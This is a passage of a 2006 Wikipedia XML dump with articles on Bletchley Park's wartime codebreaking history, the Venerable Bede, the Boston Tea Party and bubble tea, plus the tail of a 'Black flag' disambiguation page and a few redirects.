*'''Black flag'''s are often associated with [[funeral]]s in the [[Western world|West]], particularly [[state funeral]]s and public [[mourning]].
*'''Black Flag''' is another name for the [[Jolly Roger]], a [[skull and crossbones]] on a black background, and is associated with [[pirate]]s.
*The '''black flag''' is a [[racing flag]] used to summon a driver to the [[Pit stop|pits]].

==External links==
*[http://www.shanatinglipton.com/punk1.html Rekindling the Punk Flame, article]

{{disambig}}
[[Category:Flags]]</text>
    </revision>
  </page>
  <page>
    <title>Bletchley Park</title>
    <id>4037</id>
    <revision>
      <id>40876445</id>
      <timestamp>2006-02-23T16:30:50Z</timestamp>
      <contributor>
        <username>Matt Crypto</username>
        <id>50457</id>
      </contributor>
      <comment>/* Huts */</comment>
      <text xml:space="preserve">[[Image:Bletchley Park.jpg|thumbnail|320px|During World War II, British and American cryptographers at Bletchley Park broke a large number of [[Axis Powers|Axis]] codes and ciphers, including the German [[Enigma machine]]. For this purpose, the mansion at Bletchley Park, pictured here, was soon joined by a host of other buildings. The mansion's [[façade]] is an idiosyncratic mix of architectural styles.]]

'''Bletchley Park''' ('''BP''') is a site located in the town of [[Bletchley, Milton Keynes|Bletchley]], in [[Milton Keynes]], [[England]]. During [[World War II]], Bletchley Park was the location of the [[United Kingdom]]'s [[codebreaking]] establishment. Codes and ciphers of several countries were deciphered, most famously the German [[Enigma (machine)|Enigma]]. The high-level intelligence produced by Bletchley Park was codenamed [[Ultra]].   While the exact influence of Ultra on World War II is debated, it is frequently credited with hastening the defeat of Germany by two years.

Wartime Bletchley Park is sometimes referred to as '''Station X'''.

The site is now a museum and open to the public during the English summer.

==Early history==

The lands of the Bletchley Park estate were formerly part of the Manor of Eaton, included in the [[Domesday Book]] in 1086. [[Browne Willis]] built a mansion in 1711, but this was pulled down by Thomas Harrison, who had acquired the property in 1793. The estate was first known as Bletchley Park during the ownership of Samuel Lipscombe Seckham, who purchased it in 1877. The estate was sold on [[4 June]] 1883 to Sir Herbert Samuel Leon (1850&amp;ndash;1926), a financier and [[Liberal Party (UK)|Liberal]] [[Member of Parliament|MP]]. Leon expanded the existing farmhouse into the present mansion&lt;ref&gt;Edward Legg, ''Early History of Bletchley Park 1235&amp;ndash; 1937'', Bletchley Park Trust Historic Guides series, No. 1, 1999&lt;/ref&gt;
&lt;ref&gt;Keith A. F. Woodward, [http://mysite.wanadoo-members.co.uk/WestBletchley Welcome to West Bletchley &amp;mdash; The Birthplace of the Information Age], site retrieved [[23 January]] 2006.&lt;/ref&gt;.

The architectural style is a mixture of Victorian Gothic, Tudor and Dutch Baroque and was the subject of much bemused comment from those who worked there, or visited, during World War II. Leon's estate covered 581 [[acre]]s (235 [[hectare]]s), of which Bletchley Park occupied about 55 acres (22 ha). Leon's wife, Fanny, died in 1937 &lt;ref&gt;[http://www.ma.hw.ac.uk/~foss/valentin/Bletchley%20Park.html]&lt;/ref&gt;, and in 1938 the site was sold to a builder, who was about to demolish the mansion and build a housing estate. However, just in time, Admiral Sir [[Hugh Sinclair]], the Director of Naval Intelligence, head of [[MI6]] and founder of the [[Government Code and Cypher School]], knowing that war was imminent, bought the site with his own money in the Spring of 1938, having failed to persuade any government department to pay for it&lt;ref&gt;Smith, 1998, p. 20&lt;/ref&gt;. The fact that Sinclair, and not the Government, owned the site was not revealed until 1997 when a trust was set up to save the site from redevelopment{{fact}}.

The estate was conveniently located on the &quot;[[Varsity Line]]&quot; (now largely closed) between the Universities of [[University of Oxford|Oxford]] and [[University of Cambridge|Cambridge]], which supplied many of the codebreakers. It was also chosen for its proximity to a major road (the [[A5 road|A5]]) to London and to a route for [[telephone]] trunk lines.

==Wartime history==

[[Image:Turing flat.jpg|right|thumbnail|280px|The cottages in the stableyard were converted from a tack and feed house. Early work on Enigma was performed here by [[Dilly Knox]], [[John Jeffreys]] and [[Alan Turing]]. The windows at the top of the tower open into a room used by Turing.]]

The [[Government Code and Cypher School]] (GC &amp; CS), the intelligence bureau responsible for interception and decryption of foreign transmissions amongst other things, moved into the main house in 1939. Until he broke down, the Sinclair's private chef made early service at BP something to remember fondly. A wireless room was set up in the mansion's water tower and given the code name &quot;Station X&quot;&lt;ref&gt;Bob Watson, &quot;How the Bletchley Park Buildings Took Shape&quot;, Appendix in F. H. Hinsley &amp; A. Stripp, ''Codebreakers: The Inside Story of Bletchley Park'', 1993&lt;/ref&gt;, a term now sometimes applied to the codebreaking efforts at Bletchley as a whole. (It was called Station X because it was the tenth in a series of radio stations, X being the [[Roman numeral]] for ten.) The radio station was soon moved away from Bletchley Park, possibly to divert attention from the site{{fact}}&lt;!-- I have a source for it being moved, not for the &quot;to divert attention&quot; reason --&gt;. Additional listening stations such as the ones at [[Chicksands]] and  [[Beaumanor Hall]], the War Office &quot;Y&quot; Group HQ, also gathered raw signals for processing at Bletchley. 

The only direct action that the site experienced was a bomb strike next to the despatch riders' entrance, shifting the whole of Hut 4 (the Naval Intelligence hut) two metres on its base. The bomb was thought to have been intended for [[Bletchley railway station]].

The first government visitors to Bletchley Park described themselves as members of ''Captain Ridley's shooting party''. The intelligence produced from decrypts at Bletchley was eventually code-named &quot;[[ULTRA]]&quot;.

When the United States joined the war, a small number of American cryptographers were posted to Bletchley Park.

==Cryptanalysis==

Among the famous [[mathematician]]s and [[cryptanalysis|cryptanalyst]]s working there, perhaps the most influential and certainly the best-known in later years was [[Alan Turing]]. In 1943, the [[Colossus computer|Colossus]], the world's first programmable digital electronic computer, was designed at Bletchley Park by [[Max Newman]] and his team. The computer was designed and built to help break the [[FISH (cryptography)|Fish Cyphers]], in particular the [[Lorenz cipher]]. [[Tommy Flowers]] of the [[General Post Office (United Kingdom)|British Post Office]], whose crew actually built the computer(s) at its [[Post Office Research Station|Dollis Hill]] facility.

Some 9,000 people were working at Bletchley Park at the height of the codebreaking efforts in January 1945&lt;ref&gt;Smith, 1998, pp. 175-176&lt;/ref&gt;, and over 10,000 worked at some point during the war&lt;ref&gt;Smith, 1998, p. 176&lt;/ref&gt;. They were selected for various intellectual achievements{{fact}}, whether they were chess champions, crossword experts, polyglots or great mathematicians. Some of them completed a five-year course in Japanese in just six months{{fact}}.

The Bletchley Park effort was comparable in influence to other WWII-era technological efforts, such as the cryptographic work at [[Arlington Hall]], the [[Naval Communications Annex]] (both in Washington, DC, and both in commandeered private girls' schools), the development of sophisticated microwave [[radar]] at [[Massachusetts Institute of Technology|MIT]]'s [[Radiation Lab]], and the [[Manhattan Project]]'s development of [[nuclear weapon]]s{{fact}}.

==After the war==

At the end of the war, much of the equipment used and its blueprints were destroyed. Although thousands of people were involved in the decoding efforts, the participants remained silent for decades about what they had done during the war, and it was only in the 1970s that the work at Bletchley Park was revealed to the general public. After the war, the site belonged to several owners, including [[British Telecom]], the Civil Aviation Authority&lt;ref&gt;[http://www.bellaonline.com/articles/art9678.asp]&lt;/ref&gt; and PACE ([[Property Advisors to the Civil Estate]]). The post-war successor organisation to GC&amp;CS, GCHQ, ended training courses at Bletchley Park in 1987.

By 1991, the site was nearly empty and the buildings were at risk of demolition to make room for property development. The Bletchley Park Trust was formed on [[13 February]] [[1992]] in order to further the maintenance of the site as a museum devoted to the codebreakers. The site opened to visitors in 1993, with the museum officially inaugurated in July 1994. The trust is volunteer-based and relies on public support to continue its efforts. The current director of the trust, Christine Large, was appointed in March 1998.

A team headed by Tony Sale has undertaken a reconstruction of a [[Colossus computer]] in H block&lt;ref&gt;[http://www.codesandciphers.org.uk/lorenz/rebuild.htm]&lt;/ref&gt;. Another team has undertaken a rebuild of the [[bombe]], led by John Harper&lt;ref&gt;[http://www.jharper.demon.co.uk/bombe1.htm]&lt;/ref&gt;.

{|style=&quot;margin:1em auto 0 auto&quot;
|- style=&quot;vertical-align:top&quot;
|[[Image:BletcleyPark SubModel.JPG|thumbnail|right|A scale model of a German World War II [[U-boat]], used in the film ''[[Enigma (movie)|Enigma]]'' and later donated to the Bletchley Park museum.]]
|[[Image:Colossus-rebuild.jpg|thumbnail|The Colossus rebuild project is undertaking a reconstruction of a [[Colossus computer|Colossus Mk II computer]].]]
|[[Image:Bombe-rebuild.jpg|thumbnail|left|A project to construct a working replica of a [[bombe]] is underway.]]
|}

==Buildings==

[[Image:Hut-1.jpg|thumbnail|right|Hut 1 was the first hut to be constructed.]]
[[Image:BletchleyPark Hut4 01.JPG|thumbnail|right|Hut 4, sited adjacent to the mansion, was used during wartime for naval intelligence. Today, it has been refurbished as a bar and restaurant for the museum.]]
[[Image:Hut6.jpg|right|thumbnail|Hut 6 in 2004.]]
The huts were designated by numbers; in some cases, the hut numbers became associated as much with the work which went on inside the buildings as with the buildings themselves. Because of this, when a section moved from a hut into a larger building, they were still referred to by their &quot;Hut&quot; code name. 

Some of the hut numbers, and the associated work, are:

* ''Hut 1'' &amp;mdash; the first hut, built in 1939&lt;ref&gt;[http://www.codesandciphers.org.uk/bletchleypark/tour3.htm]&lt;/ref&gt;&lt;!--; translation--&gt;
&lt;!--* ''Hut 2'' &amp;mdash; recreational hut--&gt;
* ''Hut 3'' &amp;mdash; intelligence: translation and analysis of Army and Airforce Enigma decrypts
* ''Hut 4'' &amp;mdash; Naval intelligence: analysis of Naval Enigma decrypts
&lt;!--* ''Hut 5'' &amp;mdash; Army intelligence--&gt;
* ''[[Hut 6]]'' &amp;mdash; Cryptanalysis of Army and Airforce Enigma
&lt;!--* ''Hut 7'' &amp;mdash; Punched card machines --&gt;
* ''[[Hut 8]]'' &amp;mdash; Cryptanalysis Naval Enigma
&lt;!--* ''Hut 9'' &amp;mdash; Pay and administration
* ''Hut 10'' &amp;mdash; Meteorological section; German air section; Italian air section --&gt;
* ''Hut 11'' &amp;mdash; The first [[Bombe]] building&lt;ref&gt;[http://www.codesandciphers.org.uk/bletchleypark/tour4.htm]&lt;/ref&gt;
* ''Hut 14'' &amp;mdash; main [[teleprinter]] building&lt;ref&gt;[http://beaumanor.hosted.pipemedia.net/History/operational%20Huts.htm]&lt;/ref&gt;
&lt;!--* ''Hut 19'' &amp;mdash; Currently used by 2366 ATC Squadron--&gt;

==See also==

* [[List of people associated with Bletchley Park]]
* [[Arlington Hall]]
* [[National Cryptologic Museum]]
* [[Danesfield House]]

==External links==

* [http://www.bletchleypark.org/ Bletchley Park Trust]
* [http://www.codesandciphers.org.uk/bletchleypark/ Bletchley Park — Virtual Tour] — by Tony Sale
* [http://www.lightstraw.co.uk/bletchley/tour.html Telecoms at Bletchley Park]
* [http://www.angelfire.com/oz/colinday/bletchley/index.html Photographs and information about the Bletchley Park site]
* [http://www.project-x.org.uk/bletpark.html] &amp;mdash; Bletchley Park Groups website
* [http://www.bletchleyparkheritage.org.uk/ Codes and Ciphers Heritage Trust]
* [http://portal.telegraph.co.uk/htmlContent.jhtml?html=/archive/1997/03/03/nblet03.html &quot;New hope of saving Bletchley Park for nation&quot;] ([[Daily Telegraph]] [[3 March]] [[1997]]) 
* [http://www.2366atc.co.uk 2366 (Bletchley Park)ATC Squadron]

==References==

{{commons|Bletchley Park|Bletchley Park}}
&lt;references/&gt;
''Other''
* Ted Enever, ''Britain's Best Kept Scret: Ultra's Base at Bletchley Park'', 3rd edition, 1999, ISBN 0750923555.
* F. H. Hinsley and Alan Stripp, eds. ''Codebreakers: The Inside Story of Bletchley Park'', [[Oxford University Press]], 1993.
* Christine Large, ''Hijacking Enigma: The Insider's Tale'', 2003, ISBN 047086346-3.
* Hugh Sebag-Montefiore, ''Enigma: the Battle for the Code'', London, Weidenfeld &amp; Nicolson, 2000.
* Michael Smith, ''Station X'', Channel 4 Books, 1998. ISBN 0330419293.

&lt;!-- categories --&gt;

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[[Category:Organizations in cryptography]]
[[Category:World War II espionage]]
[[Category:Big Science]]
[[Category:Milton Keynes]]
[[Category:Computer museums]]
[[Category:History of computing]]
[[Category:Historic houses in Buckinghamshire]]
[[Category:History of the United Kingdom]]
[[Category:Buildings and structures in Buckinghamshire]]
[[Category:Museums in England]]

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    <title>Banach Tarski Paradoxical Decomposition</title>
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        <username>Dbenbenn</username>
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      <comment>#redirect [[Banach-Tarski paradox]]</comment>
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    <title>B.C</title>
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        <username>Docu</username>
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      <comment>upd. redir</comment>
      <text xml:space="preserve">#REDIRECT [[BC]]</text>
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  <page>
    <title>Bede</title>
    <id>4041</id>
    <revision>
      <id>41246289</id>
      <timestamp>2006-02-26T01:11:40Z</timestamp>
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        <ip>70.144.123.49</ip>
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      <comment>/* Other historical and theological works */</comment>
      <text xml:space="preserve">[[Image:Beda Venerabilis.jpg|thumb|200px|Bede depicted in an early medieval manuscript]]
[[Image:Nuremberg Chronicle Venerable Bede.jpg|thumb|right|200px|Depiction of Bede from the [[Nuremberg Chronicle]], [[1493]].]]

'''Bede''' ([[Latin]] ''Beda''), also known as '''Saint Bede''' or, more commonly, the '''Venerable Bede''' (ca. [[672]] or [[673]] &amp;ndash; [[May 27]], [[735]]), was a [[monasticism|monk]] at the [[Northumbria]]n [[monastery]] of Saint Peter at [[Wearmouth]], today part of [[Sunderland]], and of its companion monastery, Saint Paul's, in modern [[Jarrow]].  He is well known as an author and scholar, whose best-known work, ''[[Historia ecclesiastica gentis Anglorum]]'' (''The Ecclesiastical History of the English People'') gained him the title &quot;The father of [[History of England|English History]]&quot;. Bede wrote on many other topics, from [[music]] and [[meter (music)|metrics]] to [[Scripture]] commentaries.  

He is also the only Englishman in [[Dante]]'s [[Divine Comedy#Paradiso|Paradise]] and the only English [[Doctor of the Church]].

==Life==
Almost all that is known of life is contained in a notice added by himself to his ''Historia'' (v.24), which states that he was placed in the monastery at Wearmouth at the age of seven, that he became [[deacon]] in his nineteenth year, and [[priest]] in his thirtieth, remaining a priest for the rest of his life. It is not clear whether he was of [[nobility|noble birth]]. He was trained by the [[abbot|abbots]] [[Benedict Biscop]] and [[Ceolfrid]], and probably accompanied the latter to Jarrow in [[682]]. There he spent his life, finding his chief pleasure in being always occupied in learning, teaching, or writing, and zealous in the performance of monastic duties. There likewise he died and was buried, but his bones were, towards the beginning of the [[11th century]], removed to [[Durham Cathedral]]. 

Bede became known as ''Venerable Bede'' soon after his death, but this was not linked to consideration for [[Canonization|sainthood]] by the [[Catholicism|Roman Catholic Church]]. His scholarship and importance to Catholicism were recognised in [[1899]] when he was declared a [[Doctor of the Church]] as '''''St Bede The Venerable'''''.

==Work==
His works show that he had at his command all the learning of his time. It was thought that the library at Wearmouth-Jarrow was between 300-500 books, making it one of the largest in England. It is clear that Biscop made strenuous efforts to collect books on his extensive travels. Bede was proficient in [[Church father|patristic]] literature, and quotes [[Pliny the Younger]], [[Virgil]], [[Lucretius]], [[Ovid]], [[Horace]], and other [[classical antiquity|classical]] writers, but with some disapproval. He knew some [[Greek language|Greek]] but no [[Hebrew language|Hebrew]]. His [[Latin language|Latin]] is generally clear and without affectation, and he was a skillful story-teller. However, his style can be considerably more obscure in his Biblical commentaries.

Bede practiced the [[allegory|allegorical]] method of interpretation, and was by modern standards credulous concerning the miraculous; but in most things his good sense is conspicuous, and his kindly and broad sympathies, his love of truth and fairness, his unfeigned piety, and his devotion to the service of others combine to make him an exceedingly attractive character.

Bede's writings are classed as scientific, historical, and theological. The scientific include treatises on [[grammar]] (written for his pupils), a work on natural phenomena (''De rerum natura''), and two on [[chronology]] (''De temporibus'' and ''De temporum ratione''). Bede made a new calculation of the [[age of the earth]] and began the practice of dividing the Christian era into BC and AD. He has also been credited with adjusting the Gregorian calendar such that only one out of every four century-years are leap years ([http://www.google.com/search?q=cache:ixl8ttL2sGoJ:beakman.com/beakman/news/022700/022700.html+%22%22&amp;hl=en&amp;lr=&amp;strip=1 Google cache of source article]). Interestingly, Bede wrote that the Earth was round &quot;like a playground ball&quot;, contrasting that with being &quot;[[Flat earth|round like a shield]]&quot;.

===''Historia Ecclesiastica''===
The most important and best known of his works is the ''[[Historia ecclesiastica gentis Anglorum]],'' giving in five books and 400 pages the history of [[England]], ecclesiastical and political, from the time of [[Julius Caesar|Caesar]] to the date of its completion ([[731]]). The first twenty-one chapters, treating of the period before the mission of [[Augustine of Canterbury]], are compiled from earlier writers such as [[Orosius]], [[Gildas]], [[Prosper of Aquitaine]], the letters of [[Pope Gregory I]], and others, with the insertion of legends and traditions. 

After [[596]], documentary sources, which Bede took pains to obtain, are used, as well as oral testimony, which he employed with critical consideration of its value. He cited his references and was very concerned about the sources of all his sources, which created an important historical chain. He is credited with inventing [[footnote|footnoting]].  Due to his innovations like footnoting he was accused of heresy at the table of Bishop Wilfred, although the actual accusation was for miscalculating the age of the world, his chronology being contrary to the calculation of the time. The controversy is linked to footnoting because Bede cited another source in a note, rather than opining himself; others misunderstood the significance of citing another source.

===Other historical and theological works===
Circa the [[8th century|8th century AD]], he created a method of referring to years prior to the [[Christian era]] (''anno Domini''), which monk [[Dionysius Exiguus]] created in the [[6th century]]. He named it '''''Ante Christum Natum''''' (a.C.n.) and this was later translated to English as '''''Before Christ''''' (B.C.).

His re-editing of the [[Vulgate]] [[Bible]] was of immense importance, and was the official version of the Bible for the whole of Western Christendom until the [[Protestant Reformation|Reformation]], and was used by the [[Catholic]] church until [[1966]]. 

[[Image:Venbedes.jpg|frame|&quot;The Venerable Bede Translates John&quot; by J. D. Penrose]]

Rather than copying from any one source, he researched from several sources to create single volume bibles, a practice which was highly unusual for the time: previously, the Bible had circulated as separate books. Arguably this work of Bede has had a much greater and wider influence than his ''History of the English People''. He also worked on translations of parts of the Bible into [[Old English language|Old English]], although unfortunately these have not survived.

His other historical works included lives of the abbots of Wearmouth and Jarrow, as well as lives in verse and prose of [[Cuthbert of Lindisfarne|St. Cuthbert of Lindisfarne]]. The most numerous of his writings are theological, and consist of commentaries on the books of the Old and New Testaments, homilies, and treatises on detached portions of Scripture.

His last works, completed on his deathbed, were a translation into Old English of the [[Gospel of John]], and, perhaps, a [[#Vernacular poetry|vernacular poem]] on the [[Last Judgment|final judgment]].

===Vernacular poetry===
According to his disciple Cuthbert, Bede was also ''doctus in nostris carminibus'' (&quot;learned in our song&quot;). Cuthbert's letter on Bede's death, the ''Epistola Cuthberti de obitu Bedae'', moreover, commonly is understood to indicate that Bede also composed a five line vernacular poem known to modern scholars as ''Bede’s Death Song'' (text and translation [[#colgraveandmynors1969|Colgrave and Mynors 1969]]):

:Canebat autem sententiam sancti Pauli apostoli dicentis “Horrendum est incidere in manus Dei uiuentis,” et multa alia de sancta scriptura, in quibus nos a somno animae exurgere praecogitando ultimam horam admonebat. In nostra quoque lingua, ut erat doctus in nostris carminibus, dicens de terribili exitu animarum e corpore:
::Fore ðæm nedfere      nænig wiorðe
::ðonc snottora      ðon him ðearf siæ
::to ymbhycgenne      ær his hinionge
::hwæt his gastæ      godes oððe yfles
::æfter deað dæge      doemed wiorðe.

:And he used to repeat that sentence from [[Paul of Tarsus|St. Paul]] “It is a fearful thing to fall into the hands of the living God,” and many other verses of Scripture, urging us thereby to awake from the slumber of the soul by thinking in good time of our last hour. And in our own language,&amp;mdash;for he was familiar with English poetry,&amp;mdash;speaking of the soul’s dread departure from the body:
::Facing that enforced journey, no man can be
::More prudent than he has good call to be,
::If he consider, before his going hence,
::What for his spirit of good hap or of evil 
::After his day of death shall be determined.

As [[Opland]] notes, however, it is not entirely clear that Cuthbert is attributing this text to Bede: most manuscripts of the letter do not use a finite verb to describe Bede’s presentation of the song, and the theme was relatively common in Old English and Anglo-Latin literature. The fact that Cuthbert’s description places the performance of the Old English poem in the context of a series of quoted passages from Sacred Scripture, indeed, might be taken as evidence simply that Bede also cited analogous vernacular texts (see [[#opland1980|Opland 1980]], 140-141). On the other hand, the inclusion of the Old English text of the poem in Cuthbert’s Latin letter, the observation that Bede “was learned in our song,” and the fact that Bede composed a Latin poem on the same subject all seem to suggest that his connection to the vernacular poem was stronger than mere quotation. By citing the poem directly, Cuthbert seems to be implying that its specific wording was in some way important, either as a vernacular poem endorsed by a scholar who generally appears to have frowned upon secular entertainment (see [[#mccready1994|McCready 1994]], esp. 14-19) or as a direct quotation of Bede’s final original composition (see [[#opland1980|Opland 1980]], 140-141, for a discussion of some of the implications of this passage).

==References==
[[Image:Death of St Bede - Project Gutenberg eText 16785.jpg|thumb|''The Death of St. Bede'']]
&lt;span id=&quot;colgraveandmynors1969&quot;&gt;Colgrave, Bertram and R.A.B. Mynors, eds. Bede's Ecclesiastical History of the English People (Oxford, 1969).&lt;/span&gt;

&lt;span id=&quot;mccready1994&quot;&gt;McCready, William D. Miracles and the Venerable Bede. Studies and Texts: Studies and Texts (Pontifical Institute of Mediaeval Studies), 118 (Toronto: Pontifical Institute of Mediaeval Studies, 1994).

&lt;span id=&quot;opland1980&quot;&gt;Opland, Jeff Anglo-Saxon Oral Poetry: A Study of the Traditions (New Haven and London, 1980). &lt;/span&gt;
==See also==
*[[English historians in the Middle Ages]]
==External links==
*[http://www.fordham.edu/halsall/basis/bede-book1.html ''Ecclesiastical History of the English People''], Book 1, L.C. Jane's 1903 Temple Classics translation. From the [[Internet Medieval Sourcebook]].
*[http://www.ccel.org/ccel/bede/history.pdf Bede's Ecclesiastical History and the Continuation of Bede (pdf)], at [http://www.ccel.org CCEL], edited &amp; translated by A.M. Sellar.
*[http://www.bedesworld.co.uk/ Bede's World: the museum of early medieval Northumbria at Jarrow]
*[http://www.bartleby.com/211/0506.html Bede’s ''Ecclesiastical History''] commentary from ''[[The Cambridge History of English and American Literature]]'', Volume I, 1907&amp;ndash;21.
*[http://www.bbc.co.uk/radio4/history/inourtime/inourtime_20041125.shtml The Venerable Bede] from [[In Our Time (BBC Radio 4)]]

{{Schaff-Herzog}}

[[Category:672 births]]
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[[Category:Doctors of the Church]]
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[[bg:Беда Достопочтени]]
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[[fr:Bède le Vénérable]]
[[ko:베다 베네라빌리스]]
[[it:San Beda il Venerabile]]
[[he:בדה ונרביליס]]
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    <title>Baroque Art</title>
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      <comment>#redirect [[Baroque art]]</comment>
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  <page>
    <title>Boston Tea Party</title>
    <id>4044</id>
    <revision>
      <id>42053448</id>
      <timestamp>2006-03-03T14:00:24Z</timestamp>
      <contributor>
        <username>DanielCD</username>
        <id>81016</id>
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      <minor />
      <comment>Reverted edits by [[Special:Contributions/168.11.200.2|168.11.200.2]] ([[User talk:168.11.200.2|talk]]) to last version by Shijeru</comment>
      <text xml:space="preserve">[[Image:Boston tea party.jpg|thumb|300px|This 1846 lithograph has become a classic image of the Boston Tea Party.]]
The '''Boston Tea Party''' was a protest by the [[Colonists]] against [[Great Britain]] in which they destroyed many crates of [[tea]] on ships in [[Boston Harbor]].  The incident, which took place on [[December 16|16 December]] [[1773]], has been seen as helping to spark the [[American Revolution]].

==Background==
The [[Stamp Act 1765|Stamp Act]] of [[1765]] and the [[Townshend Acts]] of [[1767]] angered colonists regarding British decisions on taxing the colonies with no representation in the Westminster Parliament (&quot;no taxation without representation&quot;). One of the protesters was [[John Hancock]]. In [[1768]], his ship ''Liberty'' was seized by customs officials and he was charged with smuggling. He was defended by [[John Adams]] and the charges were eventually dropped. However, Hancock later faced several hundred more indictments.  

Hancock organized a boycott of tea from [[China]] sold by the [[British East India Company]], whose sales in the colonies then fell from 320,000lb to 520lb. By [[1773]], the company had large debts, huge stocks of tea in its warehouses and no prospect of selling it because smugglers such as Hancock were importing tea without paying taxes (import tax). The British government passed the [[Tea Act]], which allowed the East India Company to sell tea to the colonies directly, thereby allowing them to sell for lower prices than those offered by the colonial merchants and smugglers. 

The ships carrying tea were prevented from landing as most American ports turned the tea away. In [[Boston, Massachusetts|Boston]], however, the East India Company had the help of the British-appointed governor — plans were made to bring in — by force — the tea under the protection given by British armed ships.

==The Tea Party==
[[Image:Boston Tea Party-Cooper.jpg|thumb|250px|1789 engraving]]
On [[December 16]], [[1773]], the evening before the tea was supposed to be landed, the [[Sons of Liberty]], three groups of from 50-150 Boston residents each organized by [[Samuel Adams]], burst from the [[Old South Meeting House]] and headed toward Griffin's Wharf, dressed as [[Mohawk nation|Mohawk]]s. Three ships — the ''Dartmouth'', the ''Eleanor'' and the ''Beaver'' — were loaded with hundreds of crates of tea. The men boarded the ships and began destroying the cargo. By 9pm they had smashed 342 crates of tea in all three ships and had thrown them into [[Port of Boston|Boston Harbor]]. They took off their shoes, swept the decks, and made each ship's first mate agree to say that the Sons of Liberty had destroyed only the tea. The whole event was remarkably quiet and peaceful. The next day, they sent someone around to fix the one padlock they had broken.

==Reaction==
This act brought criticism from both colonial and British officials.  For instance, [[Benjamin Franklin]] stated that the destroyed tea must be repaid and offered to repay with his own money. The British government responded harshly by closing the port of Boston and put in place other laws that were known as the &quot;[[Intolerable Acts]]&quot;. This act proved to be one of those that led to the [[American Revolution]]. At the very least, the Boston Tea Party and the reaction that followed served to rally support for revolutionaries in the [[thirteen colonies]] who were eventually successful in their fight for independence.

==External links==
{{Commons|Boston Tea Party}}
*[http://www.boston-tea-party.org The Boston Tea Party Historical Society]


[[Category:Pre-revolutionary history of the United States|Boston Tea Party]]
[[Category:American Revolution|Boston Tea Party]]
[[Category:Rebellions in the United States|Boston Tea Party]]

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  <page>
    <title>Bubble tea</title>
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        <username>M3light</username>
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      </contributor>
      <text xml:space="preserve">[[Image:Pearl_Milktea.jpg|thumb|Bubble tea]]

'''Bubble tea''' is a [[tea]] [[drink|beverage]] mixture with [[milk]] and balls of [[tapioca]]. Originating in Taiwan, bubble tea is especially popular in Asian countries such as the [[People's Republic of China]], [[Hong Kong]], [[South Korea]], the [[Philippines]], and [[Singapore]]. The drink is also popular in [[Europe]], [[Canada]], and the [[United States]].

==Definition==
Bubble tea consists of a mixture of iced or hot sweetened tea, milk, and possibly other flavorings. The beverage is shaken, producing the small bubbles characteristic of the name. Black gummy balls made of tapioca, called &quot;pearls,&quot; sit at the bottom of the cup. The pearls, much larger than those found in [[tapioca pudding]], have a diameter of at least 6 millimeters, but smaller balls are occasionally used. The pearls are sucked through a wide straw along with the drink, providing something to chew on between sips. 

When ordering, customers are often asked whether they want &quot;boba&quot; or &quot;pearls&quot; in their beverages, and both terms refer to the tapioca balls. An hour is required to prepare the tapioca, and in the preparation and cooking of the tapioca, the pearls expand considerably.  After this period, the tapioca is drained from the water, poured into a sugar and water solution, and are ready to use. 

Another alternative to the traditional tapioca balls is [[nata de coco|coconut jelly]], a lighter option.  Coconut jelly is served in small [[Lego]]-like pieces and has a sweet, crunchy consistency.  They add a new dimension to bubble tea and are often ordered &quot;half and half,&quot; meaning half pearls and half coconut jelly.

The recipes for bubble tea vary, but flavoring is usually added to hot black or green tea, which is shaken in a [[cocktail shaker]] or mixed in [[blender (device)|blender]] with ice until chilled.  The mixture is usually combined with milk and softened tapioca pearls. Most cafes that serve bubble tea also use a machine to seal to the top of the cup with a plastic cellophane, which a drinker pierces with a straw.

Some cafes use a nondairy milk substitute to replace milk; the substitute adds a distinct flavor and consistency to the final product. The possible reason for a nondairy milk substitute is the [[lactose intolerance]] of many Asian people.

The flavorings added to bubble tea are usually fruity and can be powders, fruit juice, pulp, or syrups.  Sellers sometimes differentiate between bubble tea made with fruit pulp, juice, and pearls; and green, black, or brown milk teas.

Bubble tea can also refer to hot [[Hong Kong-style milk tea]] with tapioca balls.

==Origin==
[[Image:Annarbor bubble island.JPG|thumb|A bubble tea shop in the [[midwestern United States]]]]
Bubble tea supposedly originated in [[Taichung]], Taiwan during the early 1980s.  A Taiwanese tea shop named Chun Shui Tang (春水堂) experimented with cold milk tea by adding [[fruit]], syrup, [[sweet potato|candied yams]] and, finally, tapioca balls.  Although the drink was not popular at first, publicity from a Japanese television show caused businessmen to take notice, and the drink became well known throughout Asia in the 1990s.

In the late 1990s, bubble tea began to gain popularity in the United States and Canada.  This unique beverage also received some attention in the American mainstream media, including [[Morning Edition]] on [[National Public Radio]] and the [[Los Angeles Times]]. Bubble tea can also be found in major European cities, such as [[London]] and [[Paris]]. Bubble tea has spread internationally, mainly through [[Chinatown|overseas Chinese communities]].

==Names==
Bubble tea is known under a variety of other names, including:

* black pearl tea
* black pearl ice tea
* boba drink
* &amp;#27874;&amp;#38712;&amp;#22902;&amp;#33590; ''b&amp;#333;bà n&amp;#462;ichá'' &amp;mdash; literally &quot;large breast&quot; milk tea.
* boba milk tea ([[Chinese language|Chinese]]: 波霸奶茶; [[pinyin]]: bōbà nǎichá)
* bubble milk tea
* milk pearl tea
* &amp;#22902;&amp;#33590; ''naicha'' &amp;mdash; literally, &quot;milk tea&quot;
* pearl ice tea 
* pearl milk tea (珍珠奶茶; zhēnzhū nǎichá)
* pearl sago [milk] tea &amp;mdash; in English only; usually used for canned varieties where pearl sago (&amp;#35199;&amp;#31859;; x&amp;#299;m&amp;#464;; Cantonese: sai&lt;sup&gt;1&lt;/sup&gt; mai&lt;sup&gt;5&lt;/sup&gt;) is used instead of tapioca.
* pearl tea
* ชาไข่มุก, ชามุก literally, pearl tea
* QQ drinks &amp;mdash; ''kiú'' is Taiwanese slang for &quot;chewy&quot;
* tapioca drink
* tapioca tea
* ''trà trân châu'' (equivalent to 茶珍珠, literally &quot;pearl tea&quot;) (Vietnamese)
* &amp;#29645;&amp;#29664;&amp;#22902;&amp;#33590; ''zh&amp;#275;nzh&amp;#363; n&amp;#462;ichá'' ([[Standard Mandarin|Putonghua]], [[Taiwan]]ese and overseas Chinese usage) &amp;mdash; literally, &quot;pearl milk tea&quot;

In southern Taiwan, pearl milk tea with large pearls are usually called &quot;boba milk tea&quot;, while those with small pearls are called &quot;pearl milk tea&quot;.

==Availability==
Bubble tea is available at small dedicated boba cafes and some restaurants.  Most bubble tea stores serve a variety of drinks, including [[coffee]], juices, and fruit freezes, which are sometimes also called bubble tea, even though they do not contain any tea ingredients. These drinks can include flavors which are less familiar to non-Asians, such as [[taro]], [[honeydew]], or [[lychee]]&amp;mdash;as well as the familiar [[chocolate]], [[Ovaltine]], or [[strawberry]]&amp;mdash;and may be available with or without tapioca pearls.  Hot versions with tapioca pearls can also be found.

